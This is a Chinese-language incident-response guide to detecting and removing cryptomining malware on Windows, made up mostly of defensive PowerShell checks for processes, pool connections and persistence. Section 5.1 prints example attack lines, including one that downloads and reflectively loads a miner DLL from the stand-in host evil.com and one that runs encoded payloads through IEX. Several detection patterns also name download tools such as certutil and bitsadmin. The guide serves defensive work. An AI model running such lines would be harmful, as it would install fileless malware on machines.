挖矿病毒应急 - Windows
挖矿病毒(Cryptominer/Cryptojacker)利用受害者计算资源挖掘加密货币——虽不如勒索破坏性强,但大量消耗资源、增加电费、可能是更深入侵的信号
本章覆盖: 检测手段、常见矿工程序、持久化机制、矿池通信特征、清除流程、与Linux挖矿对比
交叉参考: 14.5-挖矿病毒应急
一、挖矿病毒概述
1.1 挖矿类型
| 类型 |
说明 |
常见代币 |
| 二进制矿工 |
独立可执行文件(XMRig等) |
Monero (XMR) |
| PowerShell矿工 |
PS脚本调用.NET挖矿代码 |
Monero |
| DLL注入矿工 |
注入到合法进程(svchost等) |
Monero |
| 浏览器矿工 |
JavaScript在浏览器中运行 |
Monero (已减少) |
| WMI/计划任务矿工 |
无文件驻留,通过WMI/Task触发 |
Monero |
为什么以Monero为主: XMR使用RandomX算法,CPU挖矿效率较高(GPU优势不明显); Monero隐私性强,难以追踪
1.2 感染途径
漏洞利用(EternalBlue、Exchange ProxyShell/ProxyLogon等)
弱密码爆破(RDP、SSH、MSSQL SA账户)
钓鱼邮件/恶意文档
供应链攻击(被植入矿工的软件)
恶意Docker镜像/云实例配置错误
已有后门的二次利用(其他攻击者种植矿工)
1.3 常见矿工程序名称
合法矿工(被恶意利用):
xmrig.exe, xmrig-cuda.exe, xmrig-amd.exe
t-rex.exe, nbminer.exe, phoenixminer.exe
ethminer.exe, nanominer.exe
cpuminer.exe, minerd.exe
伪装名称(攻击者重命名):
svchost.exe(放在非system32目录)
csrss.exe, lsass.exe, services.exe(伪装系统进程)
java.exe, python.exe, node.exe(伪装运行时)
update.exe, updater.exe, WindowsUpdate.exe
taskhostw.exe, RuntimeBroker.exe
随机名称: a.exe, 1.exe, sss.exe
二、挖矿病毒检测
2.1 CPU使用率异常检测
挖矿最显著的特征就是持续高CPU使用率(通常70-100%)
1 2 3 4 5
| Get-Process | Sort-Object CPU -Descending | Select-Object -First 15 Name, Id, CPU, @{N='WorkingSetMB';E={[math]::Round($_.WorkingSet64/1MB, 2)}}, Path, StartTime | Format-Table -AutoSize
|
1 2 3 4 5 6 7 8
| while ($true) { $topProc = Get-Process | Sort-Object CPU -Descending | Select-Object -First 5 Name, Id, CPU Clear-Host Write-Host "=== $(Get-Date) ===" -ForegroundColor Cyan $topProc | Format-Table -AutoSize Start-Sleep 5 }
|
1 2 3 4 5 6
| Get-Counter '\Process(*)\% Processor Time' -ErrorAction SilentlyContinue | Select-Object -ExpandProperty CounterSamples | Where-Object { $_.CookedValue -gt 50 -and $_.InstanceName -ne '_total' -and $_.InstanceName -ne 'idle' } | Sort-Object CookedValue -Descending | Select-Object InstanceName, @{N='CPU%';E={[math]::Round($_.CookedValue, 2)}}
|
2.2 进程详细分析
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
| function Analyze-SuspiciousProcess { param([int]$ProcessId) $proc = Get-Process -Id $ProcessId -ErrorAction SilentlyContinue if (-not $proc) { Write-Host "Process not found"; return } Write-Host "=== Process Analysis: PID $ProcessId ===" -ForegroundColor Yellow Write-Host "Name: $($proc.Name)" Write-Host "Path: $($proc.Path)" Write-Host "StartTime: $($proc.StartTime)" Write-Host "CPU: $($proc.CPU)" Write-Host "WorkingSet: $([math]::Round($proc.WorkingSet64/1MB, 2)) MB" Write-Host "Threads: $($proc.Threads.Count)" if ($proc.Path) { $hash = Get-FileHash $proc.Path -Algorithm SHA256 -ErrorAction SilentlyContinue Write-Host "SHA256: $($hash.Hash)" Write-Host "VT: https://www.virustotal.com/gui/file/$($hash.Hash)" } if ($proc.Path) { $sig = Get-AuthenticodeSignature $proc.Path -ErrorAction SilentlyContinue Write-Host "Signature: $($sig.Status) - $($sig.SignerCertificate.Subject)" } $wmiProc = Get-CimInstance Win32_Process -Filter "ProcessId = $ProcessId" -ErrorAction SilentlyContinue Write-Host "CommandLine: $($wmiProc.CommandLine)" Write-Host "ParentPID: $($wmiProc.ParentProcessId)" Write-Host "`n--- Network Connections ---" Get-NetTCPConnection -OwningProcess $ProcessId -ErrorAction SilentlyContinue | Select-Object RemoteAddress, RemotePort, State | Format-Table }
|
2.3 文件系统特征检测
1 2 3 4 5 6 7 8 9 10 11
| $minerNames = @( 'xmrig*', 'xmr-stak*', 'cpuminer*', 'minerd*', 't-rex*', 'nbminer*', 'phoenixminer*', 'ethminer*', 'nanominer*', 'lolminer*', 'gminer*', 'claymore*', 'nicehash*', 'minergate*', 'kryptex*' ) foreach ($name in $minerNames) { Get-ChildItem -Path "C:\" -Filter $name -Recurse -ErrorAction SilentlyContinue -Depth 5 | Select-Object FullName, LastWriteTime, Length }
|
1 2 3 4 5 6 7 8 9 10 11 12 13
| $configPatterns = @('config.json', 'pools.txt', 'miner.conf', 'start.bat', 'mine.bat') foreach ($pattern in $configPatterns) { Get-ChildItem -Path "C:\Users\","C:\ProgramData\","C:\Windows\Temp\" -Filter $pattern -Recurse -ErrorAction SilentlyContinue | ForEach-Object { Write-Host "Found: $($_.FullName)" -ForegroundColor Yellow $content = Get-Content $_.FullName -Raw -ErrorAction SilentlyContinue if ($content -match 'pool|stratum|wallet|coin|algo') { Write-Host " [!] Contains mining-related keywords" -ForegroundColor Red Write-Host " Preview: $($content.Substring(0, [Math]::Min(300, $content.Length)))" } } }
|
1 2 3 4 5 6 7 8 9 10
| Get-ChildItem -Path "C:\" -Filter "*.json" -Recurse -ErrorAction SilentlyContinue -Depth 4 | Where-Object { $_.Length -lt 10KB } | ForEach-Object { $content = Get-Content $_.FullName -Raw -ErrorAction SilentlyContinue if ($content -match '"url"\s*:\s*".*stratum|"algo"\s*:\s*".*randomx|"coin"\s*:\s*".*monero' ) { Write-Host "[MINER CONFIG] $($_.FullName)" -ForegroundColor Red Write-Host $content.Substring(0, [Math]::Min(500, $content.Length)) } }
|
2.4 使用Process Explorer / Process Monitor
Process Explorer (Sysinternals):
查看进程的完整命令行、DLL列表、线程、TCP/IP连接
Verify Image Signatures — 检查可执行文件数字签名(矿工通常无签名)
Submit to VirusTotal — 直接提交哈希到VT检查
注意CPU列——持续高CPU的非系统进程重点排查
Process Monitor (Sysinternals):
筛选可疑进程的文件/注册表/网络活动
可发现矿工读取配置文件、写入日志等行为
三、矿池网络通信检测
3.1 Stratum协议
矿工与矿池通信使用Stratum协议(基于JSON-RPC over TCP)
协议格式:
1 2 3 4 5
| {"id":1,"jsonrpc":"2.0","method":"login","params":{ "login":"49a2...wallet_address", "pass":"x", "agent":"XMRig/6.x.x" }}
|
常见连接URI格式:
stratum+tcp://pool.minexmr.com:4444
stratum+ssl://pool.hashvault.pro:443
stratum+tcp://xmr.pool.minergate.com:45700
3.2 常见矿池端口
| 端口 |
用途 |
| 3333 |
标准挖矿端口(多个矿池) |
| 4444 |
常见备用端口 |
| 5555 |
高难度端口 |
| 7777 |
部分矿池 |
| 8888 |
备用端口 |
| 9999 |
高难度/NiceHash |
| 443 |
SSL加密挖矿(伪装为HTTPS!) |
| 80 |
HTTP伪装挖矿 |
| 14433 |
SSL加密(部分矿池) |
| 45700 |
MinerGate |
3.3 网络连接检测
1 2 3 4 5 6 7
| $miningPorts = @(3333, 4444, 5555, 7777, 8888, 9999, 14433, 45700) Get-NetTCPConnection -State Established -ErrorAction SilentlyContinue | Where-Object { $_.RemotePort -in $miningPorts } | Select-Object LocalAddress, LocalPort, RemoteAddress, RemotePort, OwningProcess, @{N='ProcessName';E={(Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue).Name}} | Format-Table -AutoSize
|
1 2 3 4 5 6 7
| Get-NetTCPConnection -State Established | Where-Object { $_.RemoteAddress -notmatch '^(127\.|10\.|172\.(1[6-9]|2[0-9]|3[01])\.|192\.168\.)' -and $_.RemoteAddress -ne '::1' } | Group-Object RemotePort | Sort-Object Count -Descending | Select-Object Count, Name, @{N='SampleIP';E={$_.Group[0].RemoteAddress}} -First 20
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| $poolDomains = @( 'pool\.minexmr\.com', 'xmr\.pool\.minergate\.com', 'pool\.hashvault\.pro', 'gulf\.moneroocean\.stream', 'pool\.supportxmr\.com', 'xmr-.*\.nanopool\.org', 'xmr\.2miners\.com', 'pool\.xmr\.pt', 'monerohash\.com', 'monerop\.com', 'crypto-pool\.fr', 'xmrpool\.eu', 'pool\.minexmr\.com', 'stratum.*pool' ) $dnsPattern = ($poolDomains -join '|') Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-Sysmon/Operational'; Id=22} -ErrorAction SilentlyContinue | Where-Object { $_.Properties[4].Value -match $dnsPattern } | Select-Object TimeCreated, @{N='Image';E={$_.Properties[2].Value}}, @{N='QueryName';E={$_.Properties[4].Value}}, @{N='QueryResult';E={$_.Properties[5].Value}} | Format-List
|
3.4 通过代理/DNS日志检测
1 2 3 4
| Get-WinEvent -LogName 'Microsoft-Windows-DNS-Client/Operational' -ErrorAction SilentlyContinue | Where-Object { $_.Message -match 'pool|mining|stratum|xmr|monero|nicehash' } | Select-Object TimeCreated, Message -First 20
|
1 2 3
| Get-Content "C:\Windows\System32\drivers\etc\hosts" | Where-Object { $_ -notmatch '^#' -and $_.Trim() -ne '' }
|
3.5 TLS/SSL加密挖矿检测
越来越多矿工使用SSL加密通信(端口443)伪装为HTTPS
无法通过内容检测,需依赖:
DNS查询日志(矿池域名)
JA3/JA3S TLS指纹(矿工的TLS握手特征)
流量持续时间和模式(长连接、周期性小数据包)
SIEM中关联进程→目标IP→威胁情报
四、挖矿持久化机制
4.1 计划任务持久化
最常见的挖矿持久化方式
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| Get-ScheduledTask | Where-Object { $_.TaskPath -notmatch '^\\Microsoft' } | ForEach-Object { $task = $_ $action = $task.Actions | Select-Object -First 1 $actionStr = "$($action.Execute) $($action.Arguments)" if ($actionStr -match 'powershell|cmd|miner|xmrig|wmic|mshta|certutil|bitsadmin|http|%temp%|%appdata%|C:\\Users\\Public' ) { [PSCustomObject]@{ TaskName = $task.TaskName TaskPath = $task.TaskPath State = $task.State Action = $actionStr UserId = $task.Principal.UserId } } } | Format-List
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4698} -ErrorAction SilentlyContinue | ForEach-Object { try { $xml = [xml]$_.Properties[5].Value $exec = $xml.Task.Actions.Exec $cmd = "$($exec.Command) $($exec.Arguments)" if ($cmd -match 'powershell|miner|xmrig|stratum|pool|http|Download') { [PSCustomObject]@{ Time = $_.TimeCreated TaskName = $_.Properties[4].Value Command = $cmd User = $_.Properties[1].Value } } } catch {} } | Format-List
|
4.2 服务持久化
1 2 3 4 5 6 7
| Get-CimInstance Win32_Service | Where-Object { $_.PathName -match 'xmrig|miner|stratum|Users\\Public|ProgramData\\[a-zA-Z]{1,5}\\' -or ($_.PathName -match 'powershell|cmd\.exe' -and $_.ServiceType -eq 'Own Process') } | Select-Object Name, DisplayName, State, StartMode, PathName | Format-List
|
1 2 3 4 5 6 7 8 9
| Get-WinEvent -FilterHashtable @{LogName='System'; Id=7045} -ErrorAction SilentlyContinue | Where-Object { $_.Properties[1].Value -match 'miner|xmrig|powershell|cmd.*http|C:\\Users\\Public' } | Select-Object TimeCreated, @{N='ServiceName';E={$_.Properties[0].Value}}, @{N='ImagePath';E={$_.Properties[1].Value}} | Format-List
|
4.3 WMI事件订阅持久化
无文件挖矿的高级持久化方式——通过WMI永久事件订阅触发挖矿脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
|
Get-CimInstance -Namespace root\subscription -ClassName __EventFilter -ErrorAction SilentlyContinue | Select-Object Name, Query | Format-List
Get-CimInstance -Namespace root\subscription -ClassName CommandLineEventConsumer -ErrorAction SilentlyContinue | Select-Object Name, CommandLineTemplate, ExecutablePath | Format-List
Get-CimInstance -Namespace root\subscription -ClassName ActiveScriptEventConsumer -ErrorAction SilentlyContinue | Select-Object Name, ScriptText | Format-List
Get-CimInstance -Namespace root\subscription -ClassName __FilterToConsumerBinding -ErrorAction SilentlyContinue | Select-Object Filter, Consumer | Format-List
|
1 2 3
| Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-WMI-Activity/Operational'; Id=5861} -ErrorAction SilentlyContinue | Select-Object TimeCreated, Message | Format-List
|
4.4 注册表Run/RunOnce持久化
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| $runKeys = @( "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run", "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce", "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run", "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce", "HKLM:\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run" ) foreach ($key in $runKeys) { $items = Get-ItemProperty $key -ErrorAction SilentlyContinue if ($items) { Write-Host "=== $key ===" -ForegroundColor Cyan $items.PSObject.Properties | Where-Object { $_.Name -notmatch '^PS' } | ForEach-Object { $val = $_.Value $color = if ($val -match 'powershell|miner|xmrig|cmd.*http|temp|Users\\Public') { 'Red' } else { 'White' } Write-Host " $($_.Name): $val" -ForegroundColor $color } } }
|
4.5 启动文件夹
1 2 3 4 5 6 7 8 9 10
| $startupPaths = @( "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup", "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup" ) foreach ($path in $startupPaths) { Write-Host "=== $path ===" -ForegroundColor Cyan Get-ChildItem $path -ErrorAction SilentlyContinue | Select-Object Name, LastWriteTime, Length | Format-Table }
|
五、PowerShell挖矿检测
5.1 PowerShell矿工特征
直接在PowerShell中加载.NET挖矿程序集(完全无文件!)
特征模式:
1 2 3 4 5 6 7 8 9 10 11
|
[Reflection.Assembly]::Load((New-Object Net.WebClient).DownloadData('http://evil.com/miner.dll')) [Namespace.Miner]::Start('pool:port', 'wallet')
IEX ([System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('...')))
Add-Type -TypeDefinition $csharpCode -Language CSharp [Miner.CPU]::Mine('stratum+tcp://pool:3333', 'wallet')
|
5.2 在4104日志中检测
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| $miningPatterns = @( 'stratum', 'mining.*pool', 'xmr', 'monero', 'randomx', 'cryptonight', 'hashrate', 'wallet.*address', 'pool.*port', 'Reflection\.Assembly.*Load.*Download', 'Add-Type.*CSharp.*Thread', 'Start-Job.*while\s*\(\$true\)', 'New-Object.*Net\.Sockets.*TcpClient.*3333|4444|5555' ) $pattern = ($miningPatterns -join '|') Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-PowerShell/Operational'; Id=4104} -ErrorAction SilentlyContinue | Where-Object { $_.Properties[2].Value -match $pattern } | Select-Object TimeCreated, @{N='Script';E={$_.Properties[2].Value.Substring(0, [Math]::Min(500, $_.Properties[2].Value.Length))}} | Format-List
|
5.3 WMI + PowerShell组合(高级无文件)
攻击者通过WMI事件订阅触发PowerShell下载并执行矿工——重启后自动恢复
典型攻击流程:
1
| WMI EventFilter(每隔N分钟) → WMI CommandLineConsumer → powershell -enc <base64矿工脚本>
|
检测: 同时检查WMI订阅(4.3节)和PowerShell 4104日志
六、浏览器挖矿检测
6.1 浏览器矿工概述
通过网页中嵌入的JavaScript进行挖矿(如CoinHive, WebMinerPool)
CoinHive已于2019年关闭,但类似项目仍存在
特征: 浏览器进程(chrome.exe, msedge.exe)CPU使用异常高
可能是受害者访问了恶意网站,也可能是内网Web应用被植入挖矿脚本
6.2 检测
1 2 3 4 5
| Get-Process -Name "chrome","msedge","firefox","iexplore" -ErrorAction SilentlyContinue | Where-Object { $_.CPU -gt 60 } | Select-Object Name, Id, CPU, @{N='WorkingSetMB';E={[math]::Round($_.WorkingSet64/1MB)}} | Format-Table
|
1 2 3 4 5 6 7 8
| Get-ChildItem "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Extensions\*\*\*.js" -Recurse -ErrorAction SilentlyContinue | ForEach-Object { $content = Get-Content $_.FullName -Raw -ErrorAction SilentlyContinue if ($content -match 'coinhive|cryptonight|wasmMiner|CoinImp|webmine|crypto-loot|monerominer') { Write-Host "[BROWSER MINER] $($_.FullName)" -ForegroundColor Red } }
|
浏览器访问矿池WebSocket端点:
wss://ws.coinhive.com/proxy (已关闭但衍生项目仍用类似URL)
通过Sysmon ID 3 (网络连接)检测浏览器进程连接到矿池IP
七、挖矿病毒清除流程
7.1 正确的清除顺序 ★重要
错误做法: 直接kill矿工进程 → 计划任务/WMI/服务自动重新启动
正确顺序:
1 2 3 4 5 6 7
| 1. 识别所有持久化机制(计划任务、服务、WMI订阅、注册表、启动文件夹) 2. 记录IOC(进程路径、矿池地址、钱包地址、文件哈希) 3. 禁用/删除持久化机制 4. 终止矿工进程 5. 删除矿工文件 6. 验证清除完整性 7. 排查入侵根因
|
7.2 清除操作详细步骤
Step 1: 记录证据
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| $irDir = "C:\IR\Miner_$(Get-Date -Format yyyyMMdd_HHmmss)" New-Item -ItemType Directory -Path $irDir -Force | Out-Null
Get-CimInstance Win32_Process | Where-Object { $_.Name -match 'xmrig|miner' -or $_.CommandLine -match 'stratum|pool|xmr' } | Select-Object ProcessId, Name, CommandLine, ExecutablePath, CreationDate | Export-Csv "$irDir\miner_processes.csv" -NoTypeInformation
Get-NetTCPConnection -State Established | Where-Object { $_.RemotePort -in @(3333,4444,5555,7777,8888,9999,14433,45700) } | Export-Csv "$irDir\miner_connections.csv" -NoTypeInformation
Get-ScheduledTask | Where-Object { $_.TaskPath -notmatch '^\\Microsoft' } | Export-Clixml "$irDir\non_ms_tasks.xml"
Get-CimInstance -Namespace root\subscription -ClassName __EventFilter -ErrorAction SilentlyContinue | Export-Clixml "$irDir\wmi_filters.xml" Get-CimInstance -Namespace root\subscription -ClassName CommandLineEventConsumer -ErrorAction SilentlyContinue | Export-Clixml "$irDir\wmi_consumers.xml"
Write-Host "[+] Evidence saved to $irDir" -ForegroundColor Green
|
Step 2: 移除持久化
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
|
|
Step 3: 终止进程并删除文件
Step 4: 验证
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| Write-Host "=== Verification ===" -ForegroundColor Cyan
Write-Host "`n[*] CPU Usage:" -ForegroundColor Yellow Get-Counter '\Processor(_Total)\% Processor Time' | Select-Object -ExpandProperty CounterSamples | ForEach-Object { Write-Host " Total CPU: $([math]::Round($_.CookedValue, 2))%" }
Write-Host "`n[*] Mining port connections:" -ForegroundColor Yellow $miningConns = Get-NetTCPConnection -State Established -ErrorAction SilentlyContinue | Where-Object { $_.RemotePort -in @(3333,4444,5555,7777,8888,9999,14433,45700) } if ($miningConns) { Write-Host " [!] Still found mining connections!" -ForegroundColor Red $miningConns | Format-Table } else { Write-Host " [OK] No mining connections found" -ForegroundColor Green }
Write-Host "`n[*] Suspicious processes:" -ForegroundColor Yellow $suspProcs = Get-Process | Where-Object { $_.CPU -gt 50 -and $_.Name -notin @('System','Idle','svchost','MsMpEng') } if ($suspProcs) { $suspProcs | Select-Object Name, Id, CPU | Format-Table } else { Write-Host " [OK] No high-CPU suspicious processes" -ForegroundColor Green }
Write-Host "`n[!] Reboot and verify again to confirm persistence removal" -ForegroundColor Yellow
|
八、Windows vs Linux 挖矿病毒对比
8.1 对比表
| 维度 |
Windows |
Linux |
| 常见入侵途径 |
RDP爆破、钓鱼邮件、漏洞 |
SSH爆破、Web应用漏洞、Redis/Docker未授权 |
| 矿工形式 |
.exe二进制、PowerShell、DLL注入 |
ELF二进制、shell脚本、crontab |
| 持久化 |
计划任务、服务、WMI、注册表Run |
crontab、systemd service、/etc/rc.local、bashrc |
| 无文件方式 |
WMI+PowerShell |
内存执行(memfd_create)、crontab内嵌脚本 |
| 检测难度 |
中(有较多日志) |
中(依赖命令行工具) |
| 防守工具 |
Defender、Sysmon、EDR |
auditd、osquery、开源EDR |
| 关键检测命令 |
Get-Process、Get-NetTCPConnection |
top/htop、netstat、ps aux |
8.2 通用IOC
不论Windows/Linux,以下IOC通用:
矿池域名和IP地址
钱包地址(通常是Monero XMR地址,以4开头,95字符)
Stratum协议通信端口(3333/4444/5555等)
XMRig配置文件格式和关键字段
高CPU使用率 + 外连矿池端口 = 确定性指标
九、综合检测脚本
9.1 挖矿病毒一键排查
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83
| Write-Host "========================================" -ForegroundColor Cyan Write-Host " Windows Cryptominer Detection Script " -ForegroundColor Cyan Write-Host "========================================" -ForegroundColor Cyan
Write-Host "`n[1] CPU Usage Analysis" -ForegroundColor Yellow $cpuTotal = (Get-Counter '\Processor(_Total)\% Processor Time').CounterSamples[0].CookedValue $color = if ($cpuTotal -gt 80) { 'Red' } elseif ($cpuTotal -gt 50) { 'Yellow' } else { 'Green' } Write-Host " Total CPU: $([math]::Round($cpuTotal, 2))%" -ForegroundColor $color Write-Host " Top CPU Processes:" Get-Process | Sort-Object CPU -Descending | Select-Object -First 10 Name, Id, CPU, @{N='MemMB';E={[math]::Round($_.WorkingSet64/1MB)}} | Format-Table -AutoSize
Write-Host "[2] Mining Pool Connections" -ForegroundColor Yellow $miningPorts = @(3333, 4444, 5555, 7777, 8888, 9999, 14433, 45700) $conns = Get-NetTCPConnection -State Established -ErrorAction SilentlyContinue | Where-Object { $_.RemotePort -in $miningPorts } if ($conns) { Write-Host " [!] ALERT: Mining connections detected!" -ForegroundColor Red $conns | Select-Object RemoteAddress, RemotePort, OwningProcess, @{N='Process';E={(Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue).Name}} | Format-Table } else { Write-Host " [OK] No connections to known mining ports" -ForegroundColor Green }
Write-Host "[3] Known Miner Process Names" -ForegroundColor Yellow $minerKeywords = 'xmrig|xmr-stak|cpuminer|minerd|t-rex|nbminer|phoenixminer|ethminer|nanominer|kryptex|nicehash|minergate' $minerProcs = Get-Process | Where-Object { $_.Name -match $minerKeywords -or $_.Path -match $minerKeywords } if ($minerProcs) { Write-Host " [!] ALERT: Known miner processes found!" -ForegroundColor Red $minerProcs | Select-Object Name, Id, Path | Format-Table } else { Write-Host " [OK] No known miner process names found" -ForegroundColor Green }
Write-Host "[4] Suspicious Scheduled Tasks" -ForegroundColor Yellow Get-ScheduledTask | Where-Object { $_.TaskPath -notmatch '^\\Microsoft' } | ForEach-Object { $action = ($_.Actions | Select-Object -First 1) $cmd = "$($action.Execute) $($action.Arguments)" if ($cmd -match 'powershell.*-enc|powershell.*http|miner|xmrig|stratum|pool|cmd.*http|certutil|bitsadmin') { Write-Host " [!] $($_.TaskName): $cmd" -ForegroundColor Red } }
Write-Host "[5] WMI Event Subscriptions" -ForegroundColor Yellow $wmiFilters = Get-CimInstance -Namespace root\subscription -ClassName __EventFilter -ErrorAction SilentlyContinue $wmiConsumers = Get-CimInstance -Namespace root\subscription -ClassName CommandLineEventConsumer -ErrorAction SilentlyContinue if ($wmiConsumers) { foreach ($c in $wmiConsumers) { Write-Host " [!] WMI Consumer: $($c.Name) → $($c.CommandLineTemplate)" -ForegroundColor Red } } else { Write-Host " [OK] No CommandLine WMI consumers found" -ForegroundColor Green }
Write-Host "[6] Suspicious Services" -ForegroundColor Yellow Get-CimInstance Win32_Service | Where-Object { $_.PathName -match 'powershell|xmrig|miner|Users\\Public|ProgramData\\[a-z]{1,5}\\' } | ForEach-Object { Write-Host " [!] Service: $($_.Name) → $($_.PathName)" -ForegroundColor Red }
Write-Host "[7] Mining Pool DNS Queries (Sysmon)" -ForegroundColor Yellow $dnsEvents = Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-Sysmon/Operational'; Id=22} -MaxEvents 5000 -ErrorAction SilentlyContinue | Where-Object { $_.Properties[4].Value -match 'pool|mining|xmr|monero|nicehash|nanopool|2miners|minergate|hashvault|supportxmr' } if ($dnsEvents) { Write-Host " [!] Mining-related DNS queries found!" -ForegroundColor Red $dnsEvents | Select-Object -First 10 TimeCreated, @{N='Query';E={$_.Properties[4].Value}} | Format-Table } else { Write-Host " [OK] No mining-related DNS queries found" -ForegroundColor Green }
Write-Host "`n========================================" -ForegroundColor Cyan Write-Host " Scan Complete" -ForegroundColor Cyan Write-Host "========================================" -ForegroundColor Cyan
|
十、加固建议
10.1 预防措施
关闭不必要的对外服务(尤其是RDP直接暴露到公网)
使用强密码 + MFA(防止暴力破解)
及时修补漏洞(Exchange, IIS, MSSQL等)
部署EDR/AV并保持更新
配置防火墙出站规则,阻断已知矿池端口(3333/4444/5555等)
配置DNS过滤,阻断已知矿池域名
启用Windows Defender ASR规则
限制PowerShell执行策略(Constrained Language Mode)
10.2 监控策略
SIEM规则: CPU使用率持续高于80%告警
SIEM规则: 检测到矿池端口出站连接告警
SIEM规则: 检测到已知矿工文件名/进程名告警
SIEM规则: 新建的非微软计划任务/服务/WMI订阅告警
网络层: 部署IDS/IPS检测Stratum协议特征
定期扫描: 每周执行一次全面的挖矿排查脚本